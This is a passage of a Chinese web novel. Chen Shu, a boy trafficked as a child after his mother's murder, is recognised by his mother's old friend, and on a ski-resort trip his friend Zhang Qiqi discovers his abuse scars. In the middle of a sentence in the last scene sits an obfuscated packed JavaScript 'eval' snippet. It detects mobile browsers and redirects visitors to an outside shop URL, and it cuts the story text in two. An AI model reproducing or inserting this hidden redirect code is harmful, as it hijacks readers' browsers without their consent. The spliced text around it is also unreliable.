方燕眼底顿时浮现出嫌弃,“陈岩的儿子,不就那什么……家宝还是嘉宝吗?” 她刚说完便冷声呸了一下,“大半夜的,你说他们一家人干嘛,晦气!” “哎!不是不是,是……是秀姐的两个儿子,陈岩之前的儿子。不是现在那个大肥仔儿子。是叫陈恕、陈最,对吗?我都不太记得了!”店老板着急道。 方燕闻言,顿时沉默,她心底泛上一层悲伤,半响后才说,“是这两个名字。怎么了?” 店老板立刻将店里员工的名字就是陈恕,以及刚才在电脑网页上看到的信息告诉了自己的媳妇。 方燕顿时瞪大眼睛,一个转身往卧室内跑进去,片刻后,她捏着一张泛黄的照片跑出来。 照片上是十几年前他们一家三口和陈岩、方秀一家四口站在一棵巨大的榕树下合的影,照片的右下方有时间,正是那件事发生的一年前。 方燕和店老板坐在沙发上,揪着那张照片,两人的头凑在一起瞪大眼睛细细看着。 店老板一边看一边激动地点着头,“是是是!你看秀姐身边的大娃和我店里的店员五官非常像,肯定是他。” “不行,我现在回去,你这照片给我。” 方燕红着眼,颤抖着手,“你等我,我也去。”她说完便起身从卧室里拿出一件白色长款的羽绒服穿上,脚上穿着家用厚底棉鞋便拉着她老公往外走。 店老板看着以往九点就开始睡美容觉,平日里不打扮得漂亮得体就绝对不出门的媳妇现在套着睡衣加羽绒服,脚上穿着棉鞋就准备出门的样子,心底无声地叹了一口气。 他和媳妇方燕当时就是秀姐撮合的,而方燕和秀姐都不是京照市本地人,她们是从南方过来的,都生活在重男轻女的家庭里,两人来到京照市后也从来不和娘家联系,方燕曾告诉过他,若是被她们的娘家找到她们,她们的哥哥弟弟又要扒着她们吸血了…… 对于方燕和方秀来说,她们是彼此的娘家人,就跟亲姐妹没有区别了。 - 陈恕刚接待完那一家三口之后,又回到前台将卖出去的山地车型号录入系统。 十点多,快十一点了,他将电脑页面关闭,收拾着前台桌面上零零散散的东西,突然店门口的感应声再次响起,他还未抬眼时,便感受一阵寒风卷到了他的身前。 他抬眸见是店老板和一名中年女人,中年女人却一个快步蹿到了他的身边,拉着他的手臂一个劲地端详着他看。 “是!没错没错……是小恕!是小恕没错。”方燕红着眼眶,又激动又哽咽。 陈恕满眼无措,站在原地任由着中年女人将他翻来覆去地看。 他向店老板投去疑惑又忐忑的眼神,“老、老板……” 店老板还未开口,方燕便冷静了下来,她摸了把脸,拉着陈恕道:“你过来,坐下。燕姨好好跟你说说。” 与此同时,店老板走到店门口前,将“正在营业”的招牌翻了一下,把“休息时间”的牌面对着玻璃门外。 …… 夜色暗沉,树影摇曳,路灯投射下橘黄色的光芒,微雪再次飘扬着下了起来,天地间一片寂静。 店内,方燕说着说着,几次愤怒、几次哽咽却又强撑着说完,当她终于说完时,便再也忍不住了,抱着陈恕一顿哭。 陈恕微微垂眸,身体有些僵硬,这像母亲一样的温暖是他无比怀念的,而此刻他又顿生惶恐不安。 燕姨……他其实不太记得了……他的脑海中只有一个非常朦胧的影子。 当年他捂住弟弟的眼睛,躲在柜子里目睹人贩子残忍杀害他的母亲,那一幕成为了他毕生难忘的阴影。后来他和弟弟被拐卖到了不同的家庭,他至此失去弟弟的消息。 连绵的大山一眼望不到头,他困在大山中被养父日日殴打。 养父不能生育,买他就是为了挽回养母,但养母还是跑了,又重新组建了家庭,而他做为一个失败者摇尾乞怜的工具,却没有发挥作用,自然只能成为出气筒了。 绝望、疼痛伴随着他的童年,但更可怕的是他慢慢发现关于亲生母亲、关于幼年生活的记忆在渐渐消失。 他曾想过放弃生命,但他不甘心啊! 他要活下去,他要找到家、找到弟弟、他要为妈妈讨个公道,他要人贩子、杀人凶手付出应有的代价,这是他活下去的信念。 他强迫自己一遍遍地去回忆母亲被杀的那一幕,他还不识字,但他可以画下来,他一遍遍回忆着,一遍遍画着。 后来母亲被杀那一幕的细节他全部记得清清楚楚,但关于家在哪里、幼年的的记忆却渐渐消退了。 许是那一遍遍回忆过去激发了他的思维,他像他的弟弟天生过目不忘了,很多年之后他才知道这是“超忆症。” 超忆症超忆症,真讽刺……可他却只能朦胧地记得幼年那美好、幸福的时光,反而对母亲被杀的那一幕,以及在大山中蛰伏十年的灰暗时光记得清清楚楚,切肤之痛永远萦绕在他的心头,永不褪色。 67. 第 67 章 - 方秀出事后很长一段时间内,上瑶村的村民对她议论纷纷,诋毁猜测纷沓而至,方燕无数次同这些人撕扯谩骂,后来那几年里她的情绪非常不好,慢慢地,她自己也累了,就离开了上瑶村,搬了家,不再同上瑶村的人来往。 因此,她并不知晓半年前轰动上瑶村的事,也不知道失踪的方秀已经被确认了死亡。 陈恕垂眸说起的时候,方燕哭得撕心裂肺,店老板也红着眼拍了拍媳妇的肩膀安抚着她。 良久过后,她哭声渐歇息,“明天我要去看看秀姐。” 店老板:“我也去。” 陈恕攥了攥指尖,心底有些被安慰到,原来这么多年并不是只有他一个人在念着母亲。 说完当年发生的事后,方燕双手握着陈恕的手,温声问:“难为你还记得你妈妈,你当时也才六岁……你呢?这些年你怎么过的?你养父养母对你好不好?” 方燕是听过自家老公说起招了个京照一中的高中生的,想来小恕能上京照一中,肯定对方也是尽心培养了的,甚至……陈恕能找回来京照市,大概他养父母应该是省内的人。 这一刻,方燕心情复杂,她说不清她到底是怨恨多还是感激多,人贩子杀害了秀姐,若不是小恕的养父养母,小恕说不定会死在这些人手中,但……她又还是怨恨的,买卖同罪,他们也夺去了秀姐的儿子。 方燕话音一落,店老板脸色骤变…… 陈恕怎么可能过得好呢?若是他的女儿考上了京照一中,他肯定给供起来。 而陈恕呢,他考上了京照一中后却还要啃着临过期的面包,他也知道他需要赚钱生活,哪个疼爱孩子的父母会让自己的孩子小小年纪打工生活……更何况陈恕还不是亲生的! 这是秀姐的儿子啊!店老板恨不得狠狠煽自己一巴掌。 看着满眼担心、慈爱的燕姨,对方方才撕心裂肺的哭声犹在耳边,陈恕抿了抿唇,微微笑道:“他们对我还行。” “真的吗?”方燕眼里闪过怀疑,小恕都出来打工了…… 陈恕垂下眼眸,“不过……我回来找亲生母亲了,他们就和我断了联系。” 这句话很好地解释了他为什么会出来打工赚钱,听着也合情合理,任谁养了孩子十几年,孩子却还要回去找亲生父母的,养父母肯定生气。 因此方燕便没有再怀疑了,她道:“那你养父母在哪住着,我们改天去拜访一下,燕姨拿些钱补偿补偿他们。他们至少把你养大,没让你遭了人贩子的残害,就凭这一点,燕姨感激他们。” 陈恕顿了顿,“……我也不知道,我回来之后,他们就搬家了。” 此时,他终于体会到说了“一个谎言之后要用无数个谎言来圆”这句话。 “搬家了?算了,搬家就搬家,以前的事情过去了……你现在住在哪里,我叫你叔开车跟你过去,你把东西都搬过来,以后就和燕姨住!” 店老板也在一旁点头附和着,但陈恕还是微微摇头,拒绝了……燕姨肯念着他妈妈就已经很好了,他也不想再寄人篱下,哪怕他的出租屋狭小简陋,但那是他自己的家。 方燕说了几次之后,见陈恕还是坚决要自己住,便也只能妥协了,孩子大了都有自己的想法,就像她的女儿上了高中非要住宿一样。 十一点多了,陈恕提出要回家,店老板本要送他回去,但陈恕依然拒绝了,“没事,我住的地方离这里也不远,我自己骑自行车回去就行。” 方燕夫妻俩站在店门口,看着少年挺直着背脊,在路灯下慢慢远去的背影。 方燕神色晦涩,“小最天生就过目不忘,小恕都能找回来,小最却没有回来,大概……”大概凶多吉少了。 店老板沉沉地叹了口气……“回家吧。” * 温暖的阳光洒下,今天的冬日变得暖融融的。 高铁站站楼门口车流汹涌,穿着制服的公职人员站在此处疏通着交通,一遍遍喊着:“这里不能停车,往前开往前开……” 张期期、陈恕几人拉着行李箱站在高铁站出站门口,大约等了十分钟左右,便等到白色的七人座面包车来接他们。 “就是这一辆。”许兰亭看了眼车牌号码道。 白色面包车停在了他们的面前,一旁的疏通交通的人员瞪着眼睛,喊了一声:“这里不能停车。” 张期期回头尴尬地笑了笑,“我们马上上车,马上走。” 从面包车上下来一个年轻男人,对方和陈恕、周嘉先火速将行李搬到了后备箱,张期期几人迅速上车离开。 过了一个多小时,他们便到了目的地。 眼前是一个依山而建、立在冰天雪地之间的连绵大山庄,一眼望过去建筑物磅礴大气。朦胧的雾气冲天而上又因为温度的原因,水蒸气凝结在树上形成了雾凇。 周嘉先看着眼前的场景,嘴角抽搐,“滑雪场?你管这叫滑雪场?这分明是大型的度假村!哦不,应该叫山庄吧?” 一旁的年轻男人笑着道:“叫什么都行,哈哈哈。” 他带着张期期、陈恕、许兰亭、周嘉先、林听一伙人走进去,一边介绍着,“这里有天然温泉客栈、客栈里有自助餐、以及八条滑雪道。” “这八条滑雪道有四条初级的,四条中级的,哦,对了还有一些设施滑雪场的游乐设施。” 他将几人带到前台后,双手一摊,“接下来,就是你们自行体验我们这儿的服务了,包括办理入住手续等等。”说完,年轻男人便离开了。 张期期、林听、陈恕、周嘉先几人面面相觑后,都下意识地看向了一旁探头探脑的许兰亭。 许兰亭:…… 他揪了揪头发,“唔……先办理入住吧。” 众人点点头,将身份证交给前台,前台人员告诉他们,公司给他们几人选的是一个大套间,大套间是有三间卧室、两个卫生间、一个厨房、客厅、阳台。 其中有一间卫生间是在卧室里的,这个有卫生间的卧室是双人床,其他的房间则是一间两张单人床,一间一张单人床,人数卡得刚刚好。 张期期、许兰亭都非常满意。 客房部的人员上前帮他们拉行李箱,按电梯上楼、开房门等等,简直将服务做到了极致。 陈恕背着书包,神色严谨地观察着内部的装潢,以及服务人员的行为举止,一旁的许兰亭见状便拍了拍对方的肩膀,笑着低声道:“这么快就开始进入状态了?” 陈恕往旁边移了一步,躲掉许兰亭架在他肩膀上的手,“既然要写整个流程的体验,自然是要从头开始观察的。” 客房人员离开后,张期期、陈恕几人将行李推入房间内,她看着客厅那整面的落地窗,顿时发出一声惊呼,双手展开跑到落地窗前开心地转了几圈,“这也太好看了吧,你们快看……” 满脸笑容的少女指着窗外的景色,“日照雪山耶。” 窗外,金灿灿的阳光洒落下来,照在雪山顶峰,晕染开橘黄色的色调,整座雪山仿佛被烫红了一般。 许兰亭哇哇大叫着跑过去,林听、周嘉先也站在了落地窗前。 张期期回头,她伸出手,笑着道:“陈恕,快过来。” 艳丽的雪山在她的身后,她眼底充斥着盈盈笑意,歪着头看着他笑,他低声道:“好。” 少年少女们站在整面的落地窗前,窗外美景令人震撼,他们久久无言,这一刻好像什么话语都是苍白的。 良久良久,张期期悄悄靠近陈恕,她几乎贴着他站,“传说看到日照金山的人会一辈子幸福的……” 陈恕垂眸:“是吗?” “是!”她肯定道。 太阳渐渐沉下去,满山的雪开始暗淡,房间没有开灯、光线昏暗,五个人的身影慢慢挪动着,张期期靠着陈恕站着,而许兰亭悄悄地站在了林听的身后,唯独一旁 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周嘉先:…… 见众人齐刷刷地看着他,他沉默片刻也跟着点了点头。 张期期笑道:“看吧,先哥也这么说。” 林听、陈恕因此妥协,关于泳衣泳裤,许兰亭、张期期拉上周嘉先道:“我们三个帮你们一起去借了。” 这话一出,林听、陈恕心底泛起怀疑。 然而紧跟着张期期便交给了他们一个任务,“这样简单的事情就我们三来做,嘿嘿……那个、那个自助餐的体验就你们俩写,行吗?” 陈恕、林听闻言,顿时明白了,两人点点头将这个任务接了下来。 周嘉先微笑着站在一旁,心里跟明镜似的。 * 温泉中心的前台后方挂着好几排的泳衣泳裤,张期期生猛地拉着许兰亭和周嘉先到的时候,目光顿在那一排的泳裤上时才后知后觉地感到害羞。 她不由地在脑海里脑补起陈恕只穿着泳裤的样子,两三秒后,她无地自容般使劲地摇了摇头,恨不得将方才脑补的内容甩出脑海里。 周嘉先:…… 许兰亭笑得一副贱兮兮的样子凑过去道:“要不……陈恕的泳裤你来挑?” 张期期满脸通红,“你挑你挑!我是不会把给林听挑泳衣的机会让给你的,就算你用给陈恕挑泳裤的机会来换也不行!” ……她才不重色轻友呢!这可是林听贴身的衣物。 许兰亭闻言,连忙手忙脚乱地摆手,结结巴巴道:“不、不……你挑就好。”他不能亵渎他喜欢的女孩子。 周嘉先无奈道:“别皮了,林听的,期期你挑。陈恕的,兰亭你来……” 三人犹豫了几分钟后,各自挑好了,许兰亭、张期期付了钱之后,两人四目相对片刻,异口同声道:“免费的!” 随后他们又齐刷刷地看向周嘉先,周嘉先拉长了语气,“是——免费的——” 他们回到套房的时候,林听和陈恕经过思考、讨论过后,已经将用餐体验和需要改进的点写在了A4纸上。 张期期笑着道:“好啦好啦!暂时先不写了……我们换衣服去体验这里的温泉,浴室内有外袍可以穿在泳衣外面。” 张期期和林听进了卧室内的浴室换上了泳衣。 而周嘉先、许兰亭也换好了,陈恕拿着泳裤走进卫生间,他脱下打底衫从镜子里看到自己的身体时忽然全身一僵。 亮堂的白织灯下,他浑身的伤疤无所遁形…… 少年蓦然伸手揪了揪头发,眼底闪过晦涩,与期期、兰亭他们呆久了,他居然忘记了自己和他们根本不是一路人,全身的伤疤都在提醒他,他有多么不堪。 少女闪烁着笑意的目光浮现在他的脑海里,他的心仿佛被酸水泡胀了一般。 68. 第 68 章 - 陈恕在卫生间内久久无声,已经换好衣服的张期期、许兰亭几人站在客厅满脸疑惑。 张期期手肘捅了捅身旁的许兰亭,小声道:“你快去问问……” 许兰亭啧了一声,点头,他走到卫生间门口,轻轻敲了敲门,试探着问道:“陈恕?陈恕?你换好了吗?” 敲门声唤回了陈恕的思绪,他攥紧手中的泳裤的一角,目光落在镜子前,片刻后,他闷闷地咳了一声,语气平淡道:“你们先去泡吧,我肚子不舒服,晚点我再自己去就行。” 门外的许兰亭闻言,点点头,“那行!你继续蹲坑吧。” 他走到客厅,双手一摊,“陈恕拉肚子了。我们先走吧。” 几人互相看了看,张期期脸色尴尬,轻轻推了推许兰亭,“你问问他需不需要买点药给他。”难道……是自助餐有问题? 许兰亭认命地过去传了这话,陈恕拒绝了,“不用。我没什么事。” 既然如此,张期期、许兰亭、林听、周嘉先只好先行离开,陈恕听到他们离开的声音便将衣服套了回去,遮住浑身的大大小小的伤疤。 他走出了卫生间,沉默着坐在客厅的沙发上,沙发非常柔软,他靠着仿佛陷在里面一样。 从满地的落地窗望出去,冰天雪地之间橘黄色的路灯点缀,犹如繁星,温泉的雾气升腾,晕浓在那一片蜿蜒曲折的温泉走廊上,人影绰绰。 仅仅隔着一层玻璃,窗内窗外两个世界,即便听不到声音,他也知道窗外的温泉乡必定充满欢声笑语。 半响后,陈恕收回视线,闭上双眼将自己陷在沙发上。思绪纷纷扰扰,但今天又奔波了好长一段时间,他渐渐靠在沙发上睡了过去。 - 另一边,蜿蜒曲折的木质温泉长廊倚靠着山势修建,一眼望不到头,各式各样的温泉池子就建在长廊的一旁,这是露天的温泉。 长廊的另一旁修建的是客栈式的温泉池子,这是室内封闭式的。 时值泡温泉的好时节,无论是室内的池子还是室外的池子大部分人满为患。 张期期、许兰亭、林听和周嘉先几人到底身为学生,面皮比较薄,且顾忌着卫生,他们耗费了好长一段时间才找到一个人迹罕至的小池子。 雾气蒸腾而上,池子旁摆放着一张长长的板凳,几人将身上的外袍脱下,放在长凳上。 张期期瑟缩着,“太冷了太冷了……赶紧下水。” 她双臂抱着自己,试探着慢慢走进了温泉中,温泉水温度适宜,她坐下后,脖子以下的位置都泡在温泉中,少女发出一声谓叹,“舒服……” 她招手,“林听,我扶着你。你下来……” 林听穿着一身淡黄色的连体泳衣裤裙,皮肤被衬托得更加白皙透亮,她的发丝微微湿润,少女的眼底羞怯跃然而上。 一旁的两个男生都自觉地转过身去,聊着打球的事情。等听到林听下水的声音之后,他们才跟着下水。 池子虽然不大,但泡他们几个人倒是绰绰有余,来泡温泉的大多都是三三两两结伴,张期期他们挑选的这个池子并不合适再容纳另一些结伴的人,所以他们几人便占据了这个池子。 张期期靠着池子的墙壁,嘟囊道:“不知道陈恕到时候找不找得到我们?” 周嘉先笑了片刻,“找不到也没事,他可以自己泡,随便找个池子肯定有人愿意让他一个位置的。”毕竟……陈恕长得那么好看。 “那怎么行?”张期期拍了拍水面,溅起了水花,“我们出来玩,自然是一家人齐齐整整的!” 周嘉先也不反驳,他手搭在池子边缘,神情带笑,他只觉得他们都是小孩子,幼稚又可爱,这种话他家里的小继妹都不会说了。 每个人都是独立的个体。他心道。 林听感受着温泉水的温暖,她动了动手臂,水面缓缓晃动,她看向张期期,小声道:“好像有硫磺的味道……好舒服啊,泡着泡着,我都想睡觉了。” 张期期顿时一惊,伸手抱住对方的手臂,“那不行啊,泡温泉要保持清醒,不能睡,很危险的。我们最多泡个十五分钟,然后起来走走逛逛,吃点东西,到时候想要泡再泡。” “啊?这样吗?”林听小声凑在张期期耳边道,她从来没有泡过温泉,并不知晓泡温泉的这些要点。 “是这样的。我刚才看到长廊上有一个又一个的小亭子,好像有椰子,到时候你们可以叫服务员开了吃……” 两个女生絮絮叨叨、小声咬耳朵般地讲着话。 许是温泉水雾气的原因,许兰亭脸色被烘得微微泛红,他眼神闪烁,想靠林听近一点却又不敢,目光甚至不敢落在喜欢的少女脸上。 他只觉得雾气韵浓之间,她脸上的笑意格外地好看。她开心,他也就跟着开心了…… - 大约十分钟后,张期期坐不住了,她反身双手垫在池子边缘上,下巴垫在手臂上,眼珠子转来转去,就是没见陈恕走过来。 “你们接着泡,我去找一找陈恕。”她道。 周嘉先眼眸微转,也跟着起身,“我也一起去。” 林听一听便也准备起身跟着去找一找,但张期期拒绝了,“不用,没必要所有人都去找,你们继续泡,我和先哥去就行。” 张期期这般说着,林听也只能道,“那好吧。” 周嘉先、张期期从长凳旁封闭的柜子里取出毛巾随意地擦拭了身体,又穿上各自的外袍。 两人沿着长廊走了好半响,就是没见到陈恕的身影,周嘉先皱着眉头道:“可能他没有出来泡温泉,还在酒店里?” 张期期闻言,“有可能。我们回去找一下。” 两人沿着长廊返回酒店,周嘉先走到一半,突然道:“酒店就在前面,你自己进去看一下吧,我想开个椰子喝。”他指了指不远处的小亭子小卖部。 张期期一顿,点头,“哦,那也好。” 温泉乡和酒店有一小段没有遮挡的路,她合紧外袍迅速跑进开着暖气的酒店。刷了卡推开套房的大门时,她一眼便看见陷在柔软沙发上沉静入眠的少年。 橘黄色的路灯像繁星一样点缀着他身后的视野,他的唇色淡淡,微长的睫毛在他的脸上投射下两小片阴影的弧度。 少年面容精致,微微偏着头靠在沙发上,鬼使神差地,张期期蓦然伸出手想要碰一碰他挺直的鼻梁处,然而在快触碰到的时候,她恍然回神般地缩回了手。 她不忍唤醒他,这一刻,张期期突然想到,如果童话里有沉睡的王子的话,那应该就如同眼前的这一幕吧。 她看了半响,贴身湿透的泳衣微微泛着凉意,张期期蹑手蹑脚地走进她卧室的卫生间将泳衣换了下来,换上了棉质的睡衣睡裤。 将头发擦干之后,她将套房内的温度调高,又轻手轻脚地坐在了陈恕身旁,她看了他一眼,学着他轻轻靠在沙发上。 暖气弥漫,少女渐生困意,靠着靠着,她无意识地挪到了陈恕的怀里慢慢睡着了。 窗外热闹喧嚣、欢声笑语,屋内温暖安静、恬淡平和,他们依靠着彼此酣然入梦。 半个小时后。 陈恕睫毛微颤,他缓缓睁开眼眸,眸中还残留着朦胧睡意,肩膀处传来又重又麻的感觉,他下意识地动了动肩膀,却听到了一身少女轻微的呢喃声。 他顿时一僵,缓缓侧过头,少女乌黑的发丝铺洒在他的胸前,期期……他眼中闪过迷茫,她怎么在这里? 陈恕连呼吸都放缓了,室内温度较高,他这才放心让她继续睡着。 然而下一刻,窗外“砰”地一声炸响,他眼疾手快地捂住她的耳朵时正好对上了她困倦湿润的眼眸。 窗外绚烂的烟花倒影在她的眼底,陈恕蓦然一滞,心脏却仿佛要跳出来似的。 “陈恕!看……烟花!”张期期完全清醒了,她一个蹦起迅速跑到玄关处将套件内的灯光全部按掉。 绚丽多彩的烟花频频在夜空中炸响,闪烁的光芒从落地窗外投射进来,张期期凭着这微弱的光芒跑到陈恕身前,她拉起他的手跑到了落地窗前。 一朵朵绚丽的烟花在空中炸开,像流星雨一样洒落人间,房间昏暗,烟花更加耀眼。 许是黑暗助长了张期期的胆子,她胆大包天地踮起脚尖,轻轻轻吻了身旁少年的下颌侧脸,他们的影子投射在房间内的地板上,渐渐汇合。 少年垂在身侧的指尖攥紧了裤子,他下颌紧绷,那轻柔的触碰感如同烟花一样仿佛在他的脑海中瞬间炸开,将他炸得头晕目眩的。 - 同在这片绚烂的夜空下,温泉乡一片喧嚣热闹,人群的欢呼声像浪潮一样一阵又一阵。 此时的许兰亭和林听都合着衣袍站在长廊的小亭子上,两人手中抱着打开的椰子,林听仰头望着绚烂的烟花秀,而许兰亭却微微侧首望着一旁的少女。 她在看烟花,而绚烂烟花之下的她才是他眼中的风景。 与此同时,周嘉先在温泉乡外找了个绝佳的位置将手机高高举起,他拍摄了一个又一个的烟花视频,发到了他们一家四口的家庭群里。 烟花秀持续了二十多分钟,当天幕彻底暗淡下来时,张期期将套房内的暖光灯打开,落地窗前的少年还僵直着身体站在原处。 张期期心跳如雷,耳后晕染上一阵微红的霞意,她浑身战栗,却还是一步一步地走向陈恕的身边。 少女伸手牵住垂着眼帘的少年,两人再次并排着坐在沙发上。 这时的气氛尴尬又仿佛冒着粉色泡泡般,沉静中,陈恕抿了抿唇,低声道:“期期……你怎么这么快就回来了?他们人呢?” 他不敢直接挑明了黑暗中的那个亲吻,这一点也正合张期期的意,毕竟她再如何大胆,到底还是一个花季少女。 张期期眼尾泛着羞怯,她轻声道:“我一直没看到你,就出来找你了。他们……他们大概还在泡温泉吧。” “嗯。”陈恕低沉应了一声。 套房内再次安静下来,微妙的气氛持续漫延,就在陈恕准备再次随便找个话题时,张期期蓦然反应过来,她眨了眨眼,侧身探究地盯着陈恕看,“对了,陈恕……你怎么没换衣服去泡温泉呢?” 陈恕一顿,下意识将头转向另外一边,回避她的视线。 张期期见状,眼底闪过笑意,她将脚收起盘在沙发上,身体往沙发外探去,扭头想要与陈恕对视。 “啊——” 张期期下意识惊呼一声,上半身探出沙发外的她重心不稳,整个人往沙发外倾倒。 陈恕猛然回头,迅速伸手环抱住她,与此同时张期期也下意识地伸手一拽,拽住了陈恕圆领的T恤口,两人纷纷摔倒在地毯上。 陈恕双膝跪地,手肘支在地毯上,他在她的身体上方,只来得及双手护住她的头,而他身上的T恤被拉扯得变形。 少年锁骨下的位置,处在下方扯着他领口的张期期一览无遗,一条蜿蜒可怖的伤疤横亘其上,她瞳孔骤缩,呼吸变重,脸色发白地望向他。 陈恕见状,急声道:“是摔到哪里了吗?哪里疼?”他连忙起身半蹲着扶住她。 少年眼底满是焦急、自责,他手足无措地望着她。 “你疼吗?”张期期坐在地毯上,颤抖着伸手,准确无误、轻轻地隔着他的T恤触碰着他的伤疤。 陈恕愣愣地看向她指尖所触碰的地方,一股难以言语的自弃瞬间席卷他的心头,他眼底闪过沉重的晦涩。 他是个不堪又自欺欺人的人,即便是炎热的夏日,他一身长袖长裤捂得额头汗珠密布,他也要遮挡着全身的伤疤,甚至洗澡时也极力避免看自己的身体。 然而今时今日,这般难堪的自己却仿佛赤裸裸敞开在他喜欢的女孩子眼底,他不由地感到愤懑、不公。 凭什么,凭什么这些苦难,世间那么多人,却偏偏要他来承受?他什么都没有,甚至连在喜欢的女孩子面前也没了那包裹得严严实实,却一击即破的可怜自尊。 陈恕没有回答,他抿紧唇、撇开视线,将女孩搭在他胸前的手拿了下来。他任由内心情绪翻涌奔腾,面上却还是平静乃至冷淡,“我没事。” 张期期微扬着头,看着屈膝半蹲的陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430131|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恕,这一刻她觉得他就像一只刺猬一样,扎别人扎自己。 但没关系……她心道,张期期微微起身,跪坐在地毯上,她上半身往前一扑就钻到了他的怀里,双手环在对方的腰上,侧脸贴着他的胸膛。 陈恕顿时头皮发麻,双手微微张开,想要抱着她却始终胆怯。心脏在疯狂跳动着,他仿佛都听到了那如擂鼓般的声音。 “你心跳声好响啊……”少女眨了眨眼睛,仰头看着他。 陈恕微微垂下头,四目相对的那一刻,他的耳后漫延上一片霞意。 当看清她眼底的促狭时,少年顿觉羞燥,同时心底也泛上一丝无奈的妥协,他“躺平”任她抱任她笑,那些难堪和自弃在她的温暖灿烂的笑容下逐渐像潮水一样退去,只留下一片湿润的痕迹。 “我能看看吗?”张期期见他眼底情绪平和,于是试探着轻声问道。 陈恕垂眸,若有似无地颔首,他坐在地毯上双手往后撑、身体微仰,任由张期期抖着手半趴在他的身上,掀起他衣服下摆。 少年腰身精瘦,上面甚至附着一层薄薄的肌肉,然而此刻的张期期并没有注意到这一点,她早已经被满身的伤疤摄取了心神,大大小小、长短不一的伤疤,一看就是不同的鞭子、藤条抽在上面时皮开肉绽,伤口结痂得不好后落下的痕迹。 “滴嗒——” 她眼底湿润再也积攒不住地掉落下来,砸在了少年的白净又狰狞的腰身上。 她的泪珠滚烫仿佛要将他的身体烫出一个洞来,陈恕慌张、焦急坐直身体,他伸手颤抖着擦掉她脸上湿润的泪痕,低声哄着她道:“是不是很丑,吓到你了?我们不看了。” 此时,她终于意识到这满身的伤疤就是陈恕总是穿得严严实实,以及今天不泡温泉的原因了。 “不是的。”她带着鼻音道,继续道:“我就是觉得难受,很难受。得多疼啊……” 疼吗?疼的……无时不刻在疼…… 他患上了超忆症,对于超忆症患者来说,痛苦、悲伤、难过、尴尬这类消极负面的情绪,会比美好的体验记得更加清楚,它们时刻会在脑海中反复形成一个映像来回播放,这无形之中是一件非常痛苦的事情。 超忆症患者的疼痛并不会随着时间的流逝而逐渐减弱、忘却。当年有多痛,永远有多痛。 “已经结疤了,是不会再痛的。”陈恕微笑着道。 张期期皱起眉头,抿了抿唇,还是一脸沉郁。想起上次在安置房小区与陈恕的亲生父亲和继母打架的事,再结合他身上陈年累月的伤疤,不难推测出在陈恕身上留下这些苦难的是他的养父母。 ……只是腰上、胸口上有伤疤吗? 张期期脑海中蓦然闪过这个推测,她猛地起身走到陈恕的后背,刷地一下子掀起衣摆,后背上同样遍布疤痕。 她轮流抡起陈恕两边的袖子,疤痕、还是疤痕,他两边的手臂都有。 张期期气得头脑发热,她气鼓鼓坐在陈恕身前,脑门一热的她伸出手去扯少年的裤带,想要看看是不是连腿上也是伤疤…… 陈恕脸刷地一下通红,慌张、迅速按住她的手,咬牙切齿道:“张期期!你在干嘛?” 张期期一顿,怒气上头的她低头看着自己的手,此时她的手正扯着他的裤带,一副要脱人家裤子的动作。 而震惊中的两人并没有注意到,套房的大门在前一秒就被滴卡刷开了,许兰亭、林听、周嘉先排排站着,目瞪口呆……仿佛被雷劈在了原地。 “啊——” 张期期惊叫一声,她脑海里紧绷的线瞬间断开,猛地缩回了手,连连后退,“不、不是……我、我我我……” “砰——”套房大门轰然一响,房门内部的门拴条卡在门缝上。 张期期一抖,随即缓缓回头望过去,又看向陈恕,艰难道,“刚刚有人吗?” 陈恕:“……嗯。” 张期期眼底“崩溃”:…… ……还能是谁,肯定是同样有房门卡的兰亭他们,也就是说他们刚刚看见那一幕了?不是!误会误会!天大的误会啊! - 许兰亭、林听、周嘉先并排背靠着套房外走廊的墙壁,纷纷平复着各自的心情,刚才那一幕炸裂、实在是太炸裂了…… 许兰亭结结巴巴低声道:“期期、期期……是要霸王硬上弓吗?” 林听脸色一白,“这、犯法的吧?” 不怪他们如此作想,实在是刚才张期期背对着他们,三人并没有看到她的神情,反而是陈恕死死按住张期期的手,一脸羞愤,仿佛在坚决捍卫自己的清白。 许兰亭抖着手,“不行,我得去阻止他们。” 周嘉先:…… 霸王硬上弓他是不信的,但刚才那一幕他猜测或许是少年少女荷尔蒙在作祟?行吧……他们年纪还小,这是坚决不行的! 周嘉先:“裤子还没脱!快!阻止他们!” 许兰亭神色严肃,沉重地点头,猛然转身一脚踢开房门,正气凛然地大喊一声,“期期,回头是岸啊!霸王硬上弓是犯法的啊!” 霸王硬上弓…… 张期期懵了,大懵特懵!随即一股羞愤席卷心头,她起身抄起沙发上的抱枕狂奔过去,对着许兰亭一顿狂揍。 “我在你心中就是这样的人?啊?” “你居然这么看我!啊?” “……” 许兰亭被追着在套房内狂奔,他边跑边喊,“不是!我错了我错了!别打了别打了!” 坐在地毯上的陈恕看着他们在套房内隔着沙发转圈圈,眼底不由地泛起一丝笑意。 林听靠墙松了口气,看来是误会……还好还好,都怪兰亭,乱说话,把她给吓得! 周嘉先无奈地摇了摇头,好吧……连他都给兰亭带偏了! 被狂揍的许兰亭怒道:“你是不是欲求不满,怪我们打断你们了……” “你说什么?我告诉你,你今天死定了……” “啊,别打了!我说错了我说错了!期姐,饶了我吧。”硬气不到几秒的许兰亭再次抱头求饶… 69. 第 69 章 - 那天晚上,张期期还是找到了机会,带着陈恕去了温泉乡封闭式、仅仅能够容纳两三人的温泉小池子。 而因为她和陈恕一男一女,同样找小池子的游客自然不会硬是要挤在一对他们认为是情侣的中间。 翌日,早晨。天色灰蒙蒙的,阴云翻涌。 张期期、陈恕几人在酒店内吃完自助早餐后,每人捧着一杯热腾腾的奶茶喝着,他们等了一个多小时,天气依旧阴冷暗沉,这样的天气并不适合滑雪。 自助餐厅内同样有其他的游客唉声叹气地说着,他们运气不好,碰上了阴天;有的则是后悔昨天天气好的时候没有先去滑雪,明天就要离开了,他们这一趟没有体验到滑雪的乐趣。 